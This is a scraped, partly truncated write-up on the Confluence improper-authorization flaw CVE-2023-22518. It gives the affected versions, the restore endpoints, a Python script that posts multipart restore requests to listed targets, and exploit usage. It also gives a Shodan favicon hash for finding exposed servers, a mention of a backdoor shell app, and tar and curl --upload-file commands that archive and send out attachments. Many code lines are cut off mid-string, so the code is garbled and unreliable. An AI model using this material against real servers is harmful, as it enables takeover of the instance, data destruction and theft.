

It is noted that the vulnerability cannot be used for data leakage, and it does not affect Atlassian Cloud sites accessed through the atlassian.net domain.

https://confluence.atlassian.com/security/cve-2023-22518improper-authorization-vulnerability-in-confluence-datacenter-and-server-1311473907.html

https://jira.atlassian.com/browse/CONFSERVER-93142

Product	Affected Versions	Fixed Versions
Confluence Data Center	All versions are affected	7.19.16 or later
Confluence Server		8.3.4 or later
		8.4.4 or later
		8.5.3 or later
		8.6.1 or later

## **Exploiting**

Class: Improper authorization

CWE: CWE-285 / CWE-266

ATT&CK: T1548.002

## Known attack vectors $\Diamond$



/json/setup-restore.action

/json/setup-restore-local.action

/json/setup-restore-progress.action

/server-info.action Community Forum

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## Languages

Python 100.0%

# A simple example of vulnerability testing in Python

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import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.Insc
def random_string(length=10):
             letters = string.ascii_lowercase
            return ''.join(random.choice(letters) for i
def post_setup_restore(baseurl):
             paths = ["/json/setup-restore.action", "/json/setup-restore.action", "/json/setup-restore.a
            for path in paths:
                         url = f"{baseurl.rstrip('/')}{path}"
                         headers = {
                                       "X-Atlassian-Token": "no-check",
                                       "Content-Type": "multipart/form-data
                         }
                         rand_str = random_string()
                         data = (
                                       "-----WebKitFormBoundaryT3yekvo0rG
                                       "Content-Disposition: form-data; nar
                                       "true\r\n"
                                       "-----WebKitFormBoundaryT3yekvo0rG
                                       f"Content-Disposition: form-data; na
                                       f"{rand_str}\r\n"
                                       "-----WebKitFormBoundaryT3yekvo0rG
                                       "Content-Disposition: form-data; nar
                                       "Upload and import\r\n"
                                       "-----WebKitFormBoundaryT3yekvo0rG
                         )
                         try:
                                       response = requests.post(url, header
                                       if (response.status_code == 200 and
                                                     'The zip file did not contain a
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'exportDescriptor.properties' i
                print(f"[+] Vulnerable to CVE-20
            else:
                print(f"[-] Not vulnerable to C'
        except requests.RequestException as e:
            print(f"[*] Error connecting to {ur}
def main():
    parser = argparse.ArgumentParser(description)
   parser.add_argument('--url', help='The URL '
   parser.add_argument('--file', help='Filenam
   args = parser.parse_args()
   if args.url:
        post_setup_restore(args.url)
   elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
                    post_setup_restore(url)
   else:
        print("You must provide either --url or
if __name__ == "__main__":
   main()
```

## Use exploit 🍐



#### exploit.py

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python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-
Enter the path to the .zip file: /path/xmlexpor
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## Bonus 6



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http.favicon.hash:-305179312

### exploit-restore.zip

### Confluence Backdoor Shell App

When resetting Confluence using this vulnerability, the directory %CONFLUENCE\_HOME%/attachments remains full of files, potentially numbering in the thousands. Extracting them all is quite straightforward, and their extensions can be determined using the Linux file command. For example:

```
file /var/lib/confluence/attachments/v4/191/28/: C/var/lib/confluence/attachments/v4/191/28/77273:

or

file /var/atlassian/application-data/confluence,
/var/atlassian/application-data/confluence/attachments/v4/191/28/77273:
```

Example of how to easily archive a directory and extract the archive:

```
tar -czvf /var/atlassian/application-data/conflicurl --upload-file /var/atlassian/application-data/conflicur
```

Novel backdoor persists even after critical Confluence vulnerability is patched

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